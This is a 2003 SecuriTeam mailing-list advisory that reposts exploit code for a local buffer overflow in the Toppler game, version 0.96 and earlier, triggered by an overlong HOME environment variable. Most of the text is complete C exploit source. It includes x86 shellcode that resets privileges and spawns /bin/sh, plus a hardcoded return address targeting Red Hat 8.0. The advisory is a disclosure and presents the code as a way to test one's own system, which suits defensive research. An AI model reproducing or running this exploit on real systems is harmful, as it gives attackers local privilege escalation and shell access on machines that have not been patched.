[EXPL] Another Exploit Code Release for Toppler Game Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 07/23/03

  • Next message: SecuriTeam: "[NEWS] Multiple Vulnerabilities Apple QuickTime/Darwin Streaming Server"
    To: list@securiteam.com
    Date: 23 Jul 2003 11:33:30 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security in Canada

    Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.
    We welcome ISPs, system integrators and IT systems resellers
    to promote the most advanced vulnerability assessment solutions today.

    Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

    - - - - - - - - -

      Another Exploit Code Release for Toppler Game Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://toppler.sourceforge.net/> toppler is "an almost complete
    reimplementation of the old game known as Tower Toppler or Nebulous. This
    game was available at least for PC, Atari, and C64 and now the PC version
    is abandonware". A locally exploitable buffer overflow in the product
    allows local users to cause the product to execute arbitrary code by
    issuing a long HOME environment variable. The following exploit code can
    be used to test your system for the mentioned vulnerability.

    DETAILS

    Vulnerable systems:
     * Topper version 0.96 and prior

    Exploit:
    /*
     * /usr/bin/topper local exploit
     * vul <= topper 0.96
     *
     * coded by nic
     * Ps: i have see another ex,but it have many nops. ^^:)
     *
     * (c) 0x333 Outsiders Security Labs / www.0x333.org
     *
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <getopt.h>
    #include <sys/errno.h>

    #define me "tiger"

    static char shellcode[] =
        
        "\x31\xdb"
        "\x89\xd8"
        "\xb0\x17"
        "\xcd\x80"
        "\x31\xdb"
        "\x89\xd8"
        "\xb0\x17"
        "\xcd\x80"
        "\x31\xdb"
        "\x89\xd8"
        "\xb0\x2e"
        "\xcd\x80"
        "\x31\xc0"
        "\x50"
        "\x68\x2f\x2f\x73\x68"
        "\x68\x2f\x62\x69\x6e"
        "\x89\xe3"
        "\x50"
        "\x53"
        "\x89\xe1"
        "\x31\xd2"
        "\xb0\x0b"
        "\xcd\x80"
         "\x31\xdb"
        "\x89\xd8"
        "\xb0\x01"
        "\xcd\x80";

    struct target {
        int index;
        char *distro;
        char *dest;
        char *name;
        u_long retaddr;
        int LEN;
    };

    struct target exploit[] = {
        { 1, "redhat 8.0 -", "/usr/bin/toppler",
            "toppler", 0xbffff9f8, 256 },
        { 0, NULL, NULL, NULL, 0, 0 }
    };

    void usage(char *cmd);

    int main(int argc, char **argv)
    {
        int i;
        int type;
        int size;
        int options;
        long retaddr;
        char buffer[256];

        if(argc == 1) {
            usage(argv[0]);
            exit(0);
        }

        /* options of this exploit */
        while((options = getopt(argc, argv, "ht:")) != EOF) {
            switch(options) {
                case 'h':
                    usage(argv[0]);
                    exit(0);
                case 't':
                    type = atoi(optarg);
                
                    if (type > 3 || type < 0) {
                        printf("Out of range!!\n");
                        exit(0);
                    }
                
                    if (type == 0) {
                        usage(argv[0]);
                        printf("num . description\n"
                        "----+----------------------------------------\n");
                        for (i = 0; exploit[i].dest; i++)
                            fprintf(stderr, "[%d] | %s %s\n",
    exploit[i].index, exploit[i].distro, exploit[i].dest);
                        
                        exit(1);
                    }
                    break;
                default:
                    usage(argv[0]);
                    exit(0);
            }
        }

        size = exploit[type-1].LEN;
        retaddr = exploit[type-1].retaddr;

        fprintf(stderr, "\n--- nic-fuckex "me" - Tower Toppler HOME env buf
    overflow ex---\n"
                        "[+] by: nic\n"
                        "[+] nic-2003 - http://www.0x333.org/\n"
                        "[+] attacking: %s\n"
                        "[+] using ret: 0x%8lx\n"
                        "[+] spawning shell\n", exploit[type-1].dest,
    retaddr);

        for (i = 0; i < size; i += 4)
            *(long *)&buffer[i] = retaddr;
        
        memcpy(buffer + 1, shellcode, strlen(shellcode));

        setenv("HOME", buffer, 1); /* seting env variable */

        if ( (execl(exploit[type-1].dest, exploit[type-1].name, NULL)) == -1)
    {
            fprintf(stderr, "Try another target, you scriptkid!\n\n");
            exit(-1);
        }

        return(0);
    }

    void usage(char *cmd)
    {
        fprintf(stderr, "\n--- nic-fuckex "me" - Tower Toppler HOME env buff
    overflow ex--\n"
                        "by nic \n"
                        "nic-2003 - http://www.0x333.org/\n\n"
                        "usage: %s [-h] [-t <num>]\n"
                        "__options\n"
                        " -h\t- this help\n"
                        " -t num\t- choose target (0 for list)\n\n", cmd);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:nic0x333@hotmail.com> nic.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NEWS] Multiple Vulnerabilities Apple QuickTime/Darwin Streaming Server"

    Relevant Pages